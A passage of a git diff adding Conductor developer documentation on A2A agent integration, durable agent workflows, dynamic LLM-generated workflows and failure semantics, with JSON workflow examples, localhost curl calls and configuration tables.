`GET_AGENT_CARD → LLM_CHAT_COMPLETE → AGENT` (`ai/examples/28-a2a-llm-pick-skill.json`). + +```mermaid +flowchart LR + Start([Workflow]) --> Fork{{FORK_JOIN}} + Fork --> A1[AGENT → agent A] + Fork --> A2[AGENT → agent B] + Fork --> A3[AGENT → agent C] + A1 --> Join{{JOIN}} + A2 --> Join + A3 --> Join + Join --> Next([aggregate results]) +``` + +### Error handling & retries + +`AGENT` maps remote outcomes onto Conductor task statuses, so the engine's normal retry/timeout machinery applies. Retryable failures become `FAILED` (the engine retries per the task def's `retryCount`); permanent failures become `FAILED_WITH_TERMINAL_ERROR` (no retry): + +| Condition | Task status | Retried? | +|---|---|---| +| HTTP 408/429/5xx, connect/read timeout, dropped/empty stream | `FAILED` | yes | +| JSON-RPC transient error (e.g. `-32603` internal) | `FAILED` | yes | +| Remote agent task ends `failed` / `rejected` | `FAILED` | yes | +| HTTP 4xx (except 408/429) | `FAILED_WITH_TERMINAL_ERROR` | no | +| JSON-RPC terminal codes (`-32700/-32600/-32601/-32602/-3200{1..5,7}`) | `FAILED_WITH_TERMINAL_ERROR` | no | +| Missing `agentUrl` / empty message / **SSRF-blocked** URL | `FAILED_WITH_TERMINAL_ERROR` | no | +| Exceeds `maxDurationSeconds`, or `maxPollFailures` consecutive poll failures | `FAILED_WITH_TERMINAL_ERROR` | no | + +Retries reuse the deterministic `messageId`, so agents that dedupe on it get effectively-once delivery. The failure reason is on `task.reasonForIncompletion`. + +**Troubleshooting** + +| Symptom | Cause / fix | +|---|---| +| `… SSRF blocked` | `agentUrl` resolves to a private/loopback/metadata address. Use a public URL, or set `conductor.a2a.client.allow-private-network=true` for trusted/dev (cloud-metadata stays blocked). | +| `streaming: true` behaves like poll | The agent card has `capabilities.streaming=false`; the client only streams when the agent advertises it. | +| Fails after N poll failures | The agent is unreachable — raise `maxPollFailures` or check connectivity. | +| Hangs, then fails at the deadline | The agent never reached a terminal state within `maxDurationSeconds`. | + + +## Expose a workflow as an A2A agent (server) + +*Direction B — Conductor is the A2A server.* Any Conductor workflow can be published as an A2A agent +that other A2A clients (Google ADK, CrewAI, LangGraph, another Conductor) discover and invoke. The +workflow execution **is** the durable, resumable A2A task — that's the native fit. + +```mermaid +sequenceDiagram + autonumber + participant Client as External A2A client + participant S as A2AServerResource + participant A as A2AWorkflowAgent + participant E as Conductor engine + Client->>S: GET …/.well-known/agent-card.json + S-->>Client: Agent Card (one skill = the workflow) + Client->>S: POST message/send + S->>A: sendMessage + A->>E: startWorkflow (idempotencyKey = A2A messageId) + E-->>A: workflowId + A-->>Client: Task { id = workflowId, state: working } + loop tasks/get until terminal + Client->>S: tasks/get + S->>E: getExecutionStatus + E-->>S: RUNNING → COMPLETED + S-->>Client: Task { state, artifacts } + end + note over Client,E: blocked on HUMAN/WAIT → input-required;
    a follow-up message/send resumes the same execution +``` + +Enable the server and opt the workflow in: + +```properties +conductor.a2a.server.enabled=true +# Expose by name… +conductor.a2a.server.exposed-workflows=order_pizza,book_appointment +``` + +…or per-workflow via `WorkflowDef.metadata`: + +```json +{ + "name": "order_pizza", + "version": 1, + "metadata": { "a2a.enabled": true, "a2a.tags": ["ordering"] }, + "tasks": [ ... ] +} +``` + +**Routing: one agent per workflow.** Each exposed workflow is its own focused agent at `{basePath}/{workflow}` (default basePath `/a2a`): + +| Method & path | Purpose | +|---|---| +| `GET /a2a/{workflow}/.well-known/agent-card.json` | Agent Card (also `/agent.json`). | +| `POST /a2a/{workflow}` | JSON-RPC: `message/send`, `message/stream` (SSE), `tasks/get`, `tasks/cancel`. | +| `GET /a2a` | Convenience listing of exposed agents (non-spec). | + +Exposed agents advertise `capabilities.streaming=true`. + +### Discover and call + +```bash +# 1. Discover +curl http://localhost:8080/a2a/order_pizza/.well-known/agent-card.json + +# 2. Start a task (message/send → starts the workflow) +curl -X POST http://localhost:8080/a2a/order_pizza \ + -H 'Content-Type: application/json' \ + -d '{ + "jsonrpc": "2.0", "id": 1, "method": "message/send", + "params": { "message": { + "role": "user", "messageId": "m-1", + "parts": [ { "kind": "text", "text": "one large pepperoni" } ] + } } + }' +# → result is an A2A Task: { "id": "", "contextId": ..., "status": { "state": "working" } } + +# 3. Poll +curl -X POST http://localhost:8080/a2a/order_pizza \ + -H 'Content-Type: application/json' \ + -d '{ "jsonrpc": "2.0", "id": 2, "method": "tasks/get", "params": { "id": "" } }' +``` + +The inbound A2A message is injected into the workflow input as `_a2a_text`, `_a2a_message_id`, `_a2a_context_id` (plus any data parts), and `contextId` becomes the workflow `correlationId`. + +### Streaming (message/stream) + +Use `message/stream` instead of `message/send` for a Server-Sent Events stream: the initial `Task`, +then `status-update` events as the workflow's A2A state changes and `artifact-update` events as +output is produced, ending with a `final` status-update at a terminal / input-required state. + +```bash +curl -N -X POST http://localhost:8080/a2a/order_pizza \ + -H 'Content-Type: application/json' \ + -d '{ "jsonrpc":"2.0", "id":1, "method":"message/stream", + "params": { "message": { "role":"user", "messageId":"m-1", + "parts":[ {"kind":"text","text":"one large pepperoni"} ] } } }' +``` + +```text +data: {"jsonrpc":"2.0","id":1,"result":{"kind":"task","id":"wf-7f3a","status":{"state":"working"}}} + +data: {"jsonrpc":"2.0","id":1,"result":{"kind":"artifact-update","taskId":"wf-7f3a","artifact":{"artifactId":"workflow-output","parts":[{"kind":"data","data":{"orderId":"ORD-42"}}]}}} + +data: {"jsonrpc":"2.0","id":1,"result":{"kind":"status-update","taskId":"wf-7f3a","status":{"state":"completed"},"final":true}} +``` + +The stream is a live view of the durable execution — if the connection drops, resume tracking with +`tasks/get`. Tuning: `conductor.a2a.server.stream-poll-interval-millis` (default 500) and +`conductor.a2a.server.stream-max-duration-seconds` (default 300). + +### Durable, idempotent start + +`message/send` starts the workflow with `idempotencyKey = {workflow}:{messageId}` and `RETURN_EXISTING`, so a client's **retried** `message/send` returns the **existing** execution rather than starting a duplicate — server-side effectively-once. The execution's durability (crash-safe, resumable) is inherited from the engine. + +### Status mapping + +| Conductor workflow | A2A task state | +|---|---| +| RUNNING, blocked on a `HUMAN`/`WAIT` task | `input-required` | +| RUNNING (not blocked) / PAUSED | `working` | +| COMPLETED | `completed` (output → an artifact) | +| FAILED / TIMED_OUT | `failed` | +| TERMINATED | `canceled` | + +### Multi-turn resume — worked example + +If the workflow blocks on a `HUMAN`/`WAIT` task, the agent reports `input-required`. A follow-up +`message/send` carrying that task's `id` (the workflow id) **resumes** the paused execution — the +message content completes the pending task and the workflow continues. No duplicate workflow is +started; if the workflow is already terminal or not awaiting input, its current state is returned +unchanged. + +Take this exposed workflow (`ai/examples/25-a2a-server-multi-turn.json`) — it asks a question, then +confirms: + +```json +{ + "name": "book_appointment", + "version": 1, + "metadata": { "a2a.enabled": true }, + "tasks": [ + { "name": "ask_preferred_time", "taskReferenceName": "ask", "type": "HUMAN" }, + { + "name": "confirm_appointment", "taskReferenceName": "confirm", "type": "INLINE", + "inputParameters": { + "evaluatorType": "graaljs", + "expression": "({ status: 'confirmed', when: $.when })", + "when": "${ask.output._a2a_text}" + } + } + ] +} +``` + +**Turn 1 — start.** The workflow reaches the `HUMAN` task and parks at `input-required`: + +```bash +curl -X POST http://localhost:8080/a2a/book_appointment \ + -H 'Content-Type: application/json' \ + -d '{ "jsonrpc":"2.0", "id":1, "method":"message/send", + "params": { "message": { "role":"user", "messageId":"m-1", + "parts":[ {"kind":"text","text":"Book me a dentist appointment"} ] } } }' +``` + +```json +{ + "jsonrpc": "2.0", "id": 1, + "result": { + "kind": "task", + "id": "wf-7f3a91", + "contextId": "wf-7f3a91", + "status": { + "state": "input-required", + "message": { "role": "agent", "parts": [ { "kind": "text", + "text": "Workflow is awaiting input. Send another message/send carrying this task's id to provide the input and resume the execution." } ] } + } + } +} +``` + +**Turn 2 — resume.** Send the answer with the **same `taskId`** (`= result.id`); the `HUMAN` task +completes with the message as its input and the workflow finishes: + +```bash +curl -X POST http://localhost:8080/a2a/book_appointment \ + -H 'Content-Type: application/json' \ + -d '{ "jsonrpc":"2.0", "id":2, "method":"message/send", + "params": { "message": { "role":"user", "messageId":"m-2", "taskId":"wf-7f3a91", + "parts":[ {"kind":"text","text":"Tuesday at 3pm"} ] } } }' +``` + +```json +{ + "jsonrpc": "2.0", "id": 2, + "result": { + "kind": "task", + "id": "wf-7f3a91", + "contextId": "wf-7f3a91", + "status": { "state": "completed" }, + "artifacts": [ + { "artifactId": "workflow-output", "name": "output", + "parts": [ { "kind": "data", "data": { "status": "confirmed", "when": "Tuesday at 3pm" } } ] } + ] + } +} +``` + +The answer (`Tuesday at 3pm`) arrives at the workflow as `${ask.output._a2a_text}`, exactly as if the +`HUMAN` task had been completed through the Conductor API. + + +## Durability + +The "durable A2A" claim rests on a few concrete mechanisms: + +- **Deterministic message id.** `AGENT` derives the A2A `messageId` from `workflowInstanceId + referenceTaskName + iteration` — stable across task retries and server restarts, distinct per `DO_WHILE` iteration. Agents that dedupe on `messageId` get effectively-once delivery despite at-least-once retries. +- **State in the execution, not the thread.** Poll mode holds no thread; the remote `taskId`, deadline, and poll-failure count live in the persisted task output, so a restart resumes the poll loop. +- **Liveness guards.** An absolute deadline (`maxDurationSeconds`) and a consecutive-poll-failure bound (`maxPollFailures`) ensure a dead or stuck agent can't hang a task forever. +- **Push backstop.** Push mode still backstop-polls, so a lost webhook degrades to polling rather than hanging. + + +## Security + +- **SSRF guard.** Outbound `agentUrl`s that resolve to loopback, private (RFC-1918), link-local, IPv6 unique-local (`fc00::/7`), or cloud-metadata addresses are rejected. Cloud-metadata addresses are blocked **always**. To allow private-network agents (e.g. localhost in dev): + + ```properties + conductor.a2a.client.allow-private-network=true + ``` + + Cloud metadata stays blocked even with this on. For production, prefer a network-layer egress firewall. +- **Server auth.** Like OSS Conductor REST, the A2A server is **open by default**. Front it with a gateway/firewall (or mTLS) to control access. Inbound authentication (API keys, OAuth/OIDC, mTLS, per-skill scopes, signed Agent Cards) is provided by the **enterprise** build. +- **Push tokens.** Push callbacks carry a single-use bearer token with an embedded 24h expiry, validated constant-time by the callback endpoint (`POST /api/a2a/callback/{taskId}`). + + +## Observability + +A2A code paths emit metrics through the shared Conductor metrics registry and set MDC keys for log correlation. + +**Metrics:** `a2a_client_calls{result}`, `a2a_client_poll_failures`, `a2a_rpc_errors{method,terminal}`, `a2a_ssrf_blocked`, `a2a_server_requests{method}`, `a2a_server_resumes`. + +**MDC keys** (greppable in logs): `a2aWorkflowId`, `a2aTaskId`, `a2aRef`, `a2aRemoteTaskId`, `a2aContextId`, `a2aMessageId`, `a2aAgent`, `a2aMethod`. + + +## Configuration reference + +| Property | Default | Purpose | +|---|---|---| +| `conductor.integrations.ai.enabled` | `false` | Enables the client tasks (`AGENT`, …). | +| `conductor.a2a.callback.url` | — | Externally-reachable base URL for push callbacks. | +| `conductor.a2a.client.allow-private-network` | `false` | Allow agent URLs on private/loopback networks (metadata still blocked). | +| `conductor.a2a.server.enabled` | `false` | Enables the A2A server endpoints. | +| `conductor.a2a.server.basePath` | `/a2a` | Base path for exposed agents. | +| `conductor.a2a.server.exposed-workflows` | — | Comma-separated workflow names to expose. | +| `conductor.a2a.server.public-url` | request-derived | Base URL advertised in the agent card. | +| `conductor.a2a.server.provider-organization` | `Conductor` | `provider.organization` on the card. | + +## Examples + +### A complete workflow: discover then call + +This workflow discovers a remote agent's card, then calls it — passing the agent URL and prompt as +workflow inputs so the same definition works against any A2A agent: + +```json +{ + "name": "a2a_interop_echo", + "version": 1, + "schemaVersion": 2, + "description": "Discover a remote A2A agent, then call it.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "discover_agent", + "taskReferenceName": "discover", + "type": "GET_AGENT_CARD", + "inputParameters": { "agentUrl": "${workflow.input.agentUrl}" } + }, + { + "name": "call_agent", + "taskReferenceName": "call", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}", + "text": "${workflow.input.prompt}", + "pollIntervalSeconds": 2 + } + } + ] +} +``` + +Register and run it (the AI integration must be enabled — `conductor.integrations.ai.enabled=true`; +for a localhost agent in dev also set `conductor.a2a.client.allow-private-network=true`): + +```bash +# register +curl -X POST localhost:8080/api/metadata/workflow \ + -H 'Content-Type: application/json' -d @a2a_interop_echo.json + +# run against a reachable A2A agent +curl -X POST localhost:8080/api/workflow/a2a_interop_echo \ + -H 'Content-Type: application/json' \ + -d '{"agentUrl":"http://localhost:9999","prompt":"convert 100 USD to EUR"}' +``` + +### Run it end to end (showcase demos) + +Two self-contained demos under `ai/src/test/resources/a2a/` boot a real agent + Conductor and run a +workflow against it — no API keys: + +```bash +# Interop: Conductor calls the official a2a-sdk reference agent (a real, non-Conductor A2A server) +ai/src/test/resources/a2a/interop-demo/run-interop-demo.sh + +# Durability: kill the Conductor server mid-call; the workflow resumes and completes after restart +ai/src/test/resources/a2a/durable-demo/run-durable-demo.sh +``` + +### Example library + +Runnable workflow definitions live in [`ai/examples/`](https://github.com/conductor-oss/conductor/tree/main/ai/examples): + +| File | Shows | +|---|---| +| `10-a2a-call-agent.json` | Call a remote agent (poll mode) | +| `11-a2a-get-agent-card.json` | Discover an agent's skills | +| `12-a2a-server-workflow.json` | Expose a workflow as an A2A agent | +| `23-a2a-streaming.json` | Streaming (SSE) call | +| `24-a2a-push.json` | Push-notification mode | +| `25-a2a-server-multi-turn.json` | Multi-turn server agent (HUMAN task → resume) | +| `26-a2a-cancel.json` | Start then cancel a remote agent task | +| `27-a2a-multi-agent.json` | Call multiple agents in parallel (FORK_JOIN → JOIN) | +| `28-a2a-llm-pick-skill.json` | Discover → LLM picks the prompt → call | +| `29-a2a-client-multi-turn.json` | Client multi-turn (branch on input-required, re-call) | diff --git a/docs/devguide/ai/durable-agents.md b/docs/devguide/ai/durable-agents.md new file mode 100644 index 0000000..237e61e --- /dev/null +++ b/docs/devguide/ai/durable-agents.md @@ -0,0 +1,178 @@ +--- +description: What makes a durable AI agent — persisted state, crash recovery, and why JSON workflow definitions are AI-native for agent orchestration. +--- + +# Durable agents + +An agent that runs in a single process is fragile. A crashed pod replays every LLM call from the beginning — burning tokens and money. A human approval that took three days is lost because a deploy bounced the server. A multi-hour research pipeline fails at step 47 and starts over from step 1. + +Conductor eliminates all of this. Every step of a durable agent workflow is persisted to storage as it completes. If the process dies, the agent resumes from the last completed step — not from the beginning. + + +## What gets persisted + +- The **workflow definition snapshot** (immutable for this execution). +- Each **LLM call**: input prompt, model response, token usage, latency. +- Each **tool call**: input, output, status, retry count. +- Each **wait state**: when it started, what it's waiting for, the resume payload when it arrives. +- Each **human decision**: who approved, when, with what data. +- The **loop state**: iteration count, intermediate results, exit condition evaluation. + +No LLM calls are repeated unless a task explicitly failed and needs retry. A human approval that completed on Tuesday is still there on Wednesday, even if the cluster was replaced overnight. This is what makes Conductor-based agents production-ready. + + +## JSON is AI-native + +LLMs natively produce JSON. Conductor natively executes JSON. This means an agent can generate its own execution plan as a workflow definition and Conductor will execute it immediately — no compilation, no deployment, no code generation step. + +``` +LLM generates plan → JSON workflow definition → Conductor executes it +``` + +This is not a workaround. It is the intended design, and it makes Conductor uniquely suited to agent orchestration: + +**Runtime generation.** An LLM or planner emits a workflow definition as JSON, your code passes it to the [StartWorkflowRequest API](../../documentation/api/startworkflow.md), and Conductor validates, persists, and executes it immediately — without pre-registration. The workflow itself becomes a first-class output of the agent's planning step. + +**Inspectability.** Every agent run is a JSON document you can query, diff, and audit. You can see exactly what the LLM decided, what tools were called, what the human approved, and in what order. No opaque framework state — just data. + +**Versioning.** Workflow definitions are versioned. Run multiple agent versions concurrently, A/B test different tool configurations, and roll back without affecting running executions. + +**SDK/UI/API parity.** The same workflow can be defined via JSON file, SDK code, API call, or the Conductor UI. All paths produce the same stored JSON definition. An agent that generates workflows programmatically and a human who designs them in the UI are using the same runtime. + + +## Error handling and compensation + +Agents don't just read data — they take actions. They send emails, create tickets, charge cards, update databases. When a step fails after earlier steps have already produced side effects, you need compensation: the ability to undo or mitigate what was already done. + +Conductor provides this through the `failureWorkflow` field and the saga compensation pattern: + +```json +{ + "name": "booking_agent", + "failureWorkflow": "booking_agent_compensation", + "tasks": [ + { "name": "reserve_flight", "type": "HTTP", "taskReferenceName": "flight" }, + { "name": "reserve_hotel", "type": "HTTP", "taskReferenceName": "hotel" }, + { "name": "charge_payment", "type": "HTTP", "taskReferenceName": "payment" } + ] +} +``` + +If `charge_payment` fails, the `booking_agent_compensation` workflow runs automatically. It receives the full execution state — including the outputs of `reserve_flight` and `reserve_hotel` — so it can cancel the flight, release the hotel reservation, and notify the user. + +This is not error handling you bolt on later. It is built into the execution model: + +- **`failureWorkflow`** runs a separate workflow on failure, with full access to the failed execution's state. +- **Retry policies** on individual tasks (fixed, exponential backoff, linear) with configurable limits. +- **Timeout policies** that fail or alert when an LLM call or tool takes too long. +- **`TERMINATE` task** to end execution early with a specific status and output when the agent detects an unrecoverable condition. + +Most AI frameworks have no concept of compensation. If your LangChain agent sends an email in step 3 and crashes in step 5, the email is already sent and there is no built-in mechanism to undo it. Conductor's failure workflows solve this. + + +## Multi-agent composition + +Real-world AI systems rarely run as a single agent. A research agent delegates to specialist sub-agents. A customer service agent escalates to a billing agent. A planning agent spawns parallel analysis agents and synthesizes their results. + +Conductor models this with `SUB_WORKFLOW` tasks inside a `FORK`/`JOIN` for parallel execution: + +```json +{ + "name": "research_coordinator", + "tasks": [ + { + "name": "plan", + "type": "LLM_CHAT_COMPLETE", + "taskReferenceName": "plan", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { "role": "user", "message": "Break this research task into sub-tasks: ${workflow.input.topic}" } + ] + } + }, + { + "name": "fork_sub_agents", + "type": "FORK_JOIN", + "taskReferenceName": "fork", + "forkTasks": [ + [ + { + "name": "run_web_researcher", + "type": "SUB_WORKFLOW", + "taskReferenceName": "web_research", + "subWorkflowParam": { "name": "web_research_agent", "version": 1 }, + "inputParameters": { "query": "${plan.output.result.webQuery}" } + } + ], + [ + { + "name": "run_data_analyst", + "type": "SUB_WORKFLOW", + "taskReferenceName": "data_analysis", + "subWorkflowParam": { "name": "data_analysis_agent", "version": 1 }, + "inputParameters": { "dataset": "${plan.output.result.dataset}" } + } + ] + ] + }, + { + "name": "join_sub_agents", + "type": "JOIN", + "taskReferenceName": "join", + "joinOn": ["web_research", "data_analysis"] + }, + { + "name": "synthesize", + "type": "LLM_CHAT_COMPLETE", + "taskReferenceName": "synthesize", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { "role": "user", "message": "Synthesize these findings:\n\nWeb research: ${web_research.output}\n\nData analysis: ${data_analysis.output}" } + ] + } + } + ], + "failureWorkflow": "research_coordinator_cleanup" +} +``` + +Both sub-agents run concurrently. The `JOIN` waits for both to complete before the synthesize step runs. If you don't know the number of sub-agents ahead of time, use `DYNAMIC_FORK` instead — the LLM's plan output determines how many sub-agents to spawn. + +**What you get from multi-agent composition in Conductor:** + +- **Parallel execution.** Sub-agents run concurrently via `FORK`/`JOIN` or `DYNAMIC_FORK`. The join collects all results before the next step proceeds. +- **Full observability across the agent tree.** The parent workflow shows the status of each sub-agent. You can drill into any sub-workflow to see its individual LLM calls, tool calls, and decisions. +- **Failure isolation.** A failing sub-agent does not crash the parent. The parent can catch the failure, retry with different parameters, or route to a fallback agent. +- **Failure propagation with compensation.** If a sub-agent fails and the parent should also fail, `failureWorkflow` runs compensation across the entire agent tree. +- **Independent scaling.** Each sub-agent type can have its own workers scaled independently. A CPU-heavy data analysis agent doesn't compete for resources with a lightweight web research agent. + + +## Observability + +Every agent execution in Conductor is fully observable — not through external logging you have to set up, but as a built-in property of the execution model. Because every step is persisted, the observability is automatic and complete. + +**What you can see for every agent run:** + +- **Task-by-task execution timeline.** Each task shows its status (scheduled, in progress, completed, failed), start time, end time, and duration. You see exactly where an agent is in its workflow at any moment. +- **Every LLM prompt and response.** The full input messages, model response, token usage (prompt tokens, completion tokens), and latency for each `LLM_CHAT_COMPLETE` or `LLM_TEXT_COMPLETE` call. You can inspect exactly what the agent decided and why. +- **Every tool call with input/output.** For `CALL_MCP_TOOL`, `HTTP`, and custom worker tasks: the exact arguments sent, the response received, and how many retry attempts were needed. +- **Human approval audit trail.** For `HUMAN` tasks: when the task was created, who completed it, when they completed it, and what data they provided. This is an immutable audit record. +- **Loop iteration history.** For `DO_WHILE` agent loops: the iteration count, the result of each iteration, and the exit condition evaluation. You can trace the agent's reasoning across its entire plan/act/observe cycle. +- **Sub-agent drill-down.** For `SUB_WORKFLOW` tasks: click through to the child workflow's full execution view. The parent shows the sub-agent's overall status; the child shows every step within it. +- **Retry and failure history.** Every retry attempt is recorded with its input, output, and failure reason. If a task failed three times before succeeding, all four attempts are visible. + +This observability applies to every workflow — including workflows [generated dynamically by an LLM](dynamic-workflows.md). A workflow that was created 30 seconds ago by an agent's planning step gets the same execution visibility as one that was registered months ago. + +For programmatic access, the [Workflow API](../../documentation/api/workflow.md) and [Task API](../../documentation/api/task.md) provide the same data via REST: query execution status, retrieve task inputs/outputs, and search across executions. + + +## Next steps + +- **[Human-in-the-Loop](human-in-the-loop.md)** — Pre-execution review, conditional approval, and LLM-as-judge patterns. +- **[Dynamic Workflows](dynamic-workflows.md)** — Agent loops, dynamic workflow generation, and tool use examples. +- **[LLM Orchestration](llm-orchestration.md)** — Native LLM providers, vector databases, and content generation. +- **[Durable Execution Semantics](../../architecture/durable-execution.md)** — Failure matrix, state transitions, and exactly what persists. diff --git a/docs/devguide/ai/dynamic-workflows.md b/docs/devguide/ai/dynamic-workflows.md new file mode 100644 index 0000000..cfee7ca --- /dev/null +++ b/docs/devguide/ai/dynamic-workflows.md @@ -0,0 +1,255 @@ +--- +description: Dynamic workflow execution for AI agents — agents that build their own plans as JSON workflow definitions, agent loops with DO_WHILE, and tool use with MCP. Full durability, observability, and retry support. +--- + +# Dynamic workflows for agents + +Conductor supports three levels of agent dynamism, from simple tool use to fully self-generating agents. + + +## Agent loop: plan/act/observe with DO_WHILE + +The defining pattern of an autonomous agent is the loop: call an LLM, execute a tool, observe the result, decide whether to continue. Conductor models this with `DO_WHILE`: + +```json +{ + "name": "autonomous_agent", + "description": "Agent that loops until the task is complete", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "agent_loop", + "taskReferenceName": "loop", + "type": "DO_WHILE", + "loopCondition": "if ($.loop['think'].output.result.done == true) { false; } else { true; }", + "loopOver": [ + { + "name": "think", + "taskReferenceName": "think", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "system", + "message": "You are an agent. Available tools: ${workflow.input.tools}. Previous results: ${loop.output.results}. Respond with JSON: {\"action\": \"tool_name\", \"arguments\": {}, \"done\": false} or {\"answer\": \"...\", \"done\": true}" + }, + { + "role": "user", + "message": "${workflow.input.task}" + } + ], + "temperature": 0.1 + } + }, + { + "name": "act", + "taskReferenceName": "act", + "type": "SWITCH", + "evaluatorType": "javascript", + "expression": "$.think.output.result.done ? 'done' : 'call_tool'", + "decisionCases": { + "call_tool": [ + { + "name": "execute_tool", + "taskReferenceName": "tool_call", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${think.output.result.action}", + "arguments": "${think.output.result.arguments}" + } + } + ] + }, + "defaultCase": [] + } + ] + } + ], + "outputParameters": { + "answer": "${loop.output.think.output.result.answer}", + "iterations": "${loop.output.iteration}" + } +} +``` + +**What makes this durable:** + +- Each iteration of the loop is a persisted checkpoint. If the agent crashes at iteration 12, it resumes from iteration 12 — not from iteration 1. +- Every LLM call (prompt, response, token usage) is recorded. You can inspect exactly what the agent decided at each step. +- Every tool call (input, output, status) is tracked. If a tool call fails, it retries according to the task's retry policy without re-running the LLM. +- The loop counter and all intermediate state survive server restarts. + + +## Dynamic workflow generation: agents that build their own plans + +Conductor supports dynamic workflow execution where the complete workflow definition is provided at start time, without pre-registration. This is the most powerful form of agent dynamism — the LLM generates the entire execution plan as JSON, and Conductor runs it immediately. + +1. An LLM generates a plan as a JSON workflow definition. +2. Your code passes that definition directly to the `StartWorkflowRequest`. +3. Conductor validates, persists, and executes it immediately. +4. Every step is durable, observable, and retryable — even though the workflow was generated at runtime. + +```json +{ + "name": "dynamic_agent_planner", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "generate_plan", + "taskReferenceName": "planner", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "system", + "message": "You are a workflow planner. Given a user task, generate a Conductor workflow definition as JSON. Available task types: LLM_CHAT_COMPLETE, CALL_MCP_TOOL, LIST_MCP_TOOLS, HTTP, HUMAN, LLM_SEARCH_INDEX. The workflow must include a 'name', 'tasks' array, and 'outputParameters'." + }, + { + "role": "user", + "message": "${workflow.input.task}" + } + ], + "temperature": 0.2 + } + }, + { + "name": "review_plan", + "taskReferenceName": "approval", + "type": "HUMAN", + "inputParameters": { + "generatedWorkflow": "${planner.output.result}" + } + }, + { + "name": "execute_plan", + "taskReferenceName": "execution", + "type": "START_WORKFLOW", + "inputParameters": { + "startWorkflow": { + "workflowDefinition": "${planner.output.result}", + "input": "${workflow.input.taskInput}" + } + } + } + ], + "outputParameters": { + "generatedPlan": "${planner.output.result}", + "executionId": "${execution.output.workflowId}" + } +} +``` + +**What happens:** + +1. `planner` — `LLM_CHAT_COMPLETE` generates an entire workflow definition as JSON based on the user's task description. +2. `approval` — `HUMAN` task pauses the workflow so a reviewer can inspect the generated plan before it runs. This is critical — you don't want an LLM-generated workflow executing unsupervised. +3. `execution` — `START_WORKFLOW` launches the generated workflow definition directly. Conductor validates it, persists it, and executes it with full durability. No pre-registration needed. + +The generated child workflow gets all the same guarantees as any Conductor workflow: persisted state, retry policies, failure handling, full observability. The fact that it was generated by an LLM 30 seconds ago doesn't matter — it runs on the same durable execution engine. + +Combined with `DYNAMIC` tasks (where the task type is resolved at runtime based on input) and `DYNAMIC_FORK` (where the number and type of parallel tasks is determined at runtime), this enables agents that create, modify, and execute their own plans. + + +## Example: MCP agent with tool use and human approval + +A more focused example — an agent that discovers tools, plans, gets approval, and executes. Every step uses a built-in system task. + +```json +{ + "name": "mcp_agent_with_approval", + "description": "Discover tools, plan, execute with approval, summarize", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "list_available_tools", + "taskReferenceName": "discover_tools", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}" + } + }, + { + "name": "decide_which_tools_to_use", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "system", + "message": "You are an AI agent. Available tools: ${discover_tools.output.tools}. User wants to: ${workflow.input.task}" + }, + { + "role": "user", + "message": "Which tool should I use and what parameters? Respond with JSON: {\"method\": \"string\", \"arguments\": {}}" + } + ], + "temperature": 0.1, + "maxTokens": 500 + } + }, + { + "name": "human_review", + "taskReferenceName": "approval", + "type": "HUMAN", + "inputParameters": { + "plannedAction": "${plan.output.result}" + } + }, + { + "name": "execute_tool", + "taskReferenceName": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "summarize_result", + "taskReferenceName": "summarize", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { + "role": "user", + "message": "The user asked: ${workflow.input.task}\n\nTool result: ${execute.output.content}\n\nSummarize this result for the user." + } + ], + "maxTokens": 500 + } + } + ], + "outputParameters": { + "plan": "${plan.output.result}", + "toolResult": "${execute.output.content}", + "summary": "${summarize.output.result}", + "approvedBy": "${approval.output.reviewer}" + } +} +``` + +Every task type here — `LIST_MCP_TOOLS`, `LLM_CHAT_COMPLETE`, `CALL_MCP_TOOL`, `HUMAN` — is a native Conductor system task. No custom workers, no external frameworks. + +See the full set of examples in the [`ai/examples/`](https://github.com/conductor-oss/conductor/tree/main/ai/examples) directory. + + +## Next steps + +- **[Durable Agents](durable-agents.md)** — What persists, what gets retried, and why JSON is AI-native. +- **[LLM Orchestration](llm-orchestration.md)** — Native LLM providers, vector databases, and content generation. +- **[Dynamic Fork](../../documentation/configuration/workflowdef/operators/dynamic-fork-task.md)** — Runtime-determined parallel execution. +- **[DO_WHILE](../../documentation/configuration/workflowdef/operators/do-while-task.md)** — Loop operator for agent iterations. +- **[HUMAN task](../../documentation/configuration/workflowdef/systemtasks/human-task.md)** — Human-in-the-loop approval. diff --git a/docs/devguide/ai/failure-semantics.md b/docs/devguide/ai/failure-semantics.md new file mode 100644 index 0000000..96198a8 --- /dev/null +++ b/docs/devguide/ai/failure-semantics.md @@ -0,0 +1,281 @@ +--- +description: "The exact failure contract for AI agents on Conductor — what happens when LLM calls fail, tools timeout, humans don't respond, callbacks arrive twice, branches partially complete, versions change mid-flight, and workers deploy during active executions." +--- + +# Failure semantics for AI agents + +This page defines exactly what happens when things go wrong in an agent workflow. Not "Conductor is durable" — but the precise behavior under every failure scenario an agent can encounter. + + +## LLM task failure + +**Scenario:** The `LLM_CHAT_COMPLETE` task calls an LLM provider and the call fails (rate limit, timeout, provider outage, malformed response). + +**What happens:** + +1. The task moves to `FAILED`. +2. Conductor checks the task's retry configuration (`retryCount`, `retryLogic`, `retryDelaySeconds`). +3. A new task execution is created with an incremented retry count. +4. The task is requeued after the configured delay. 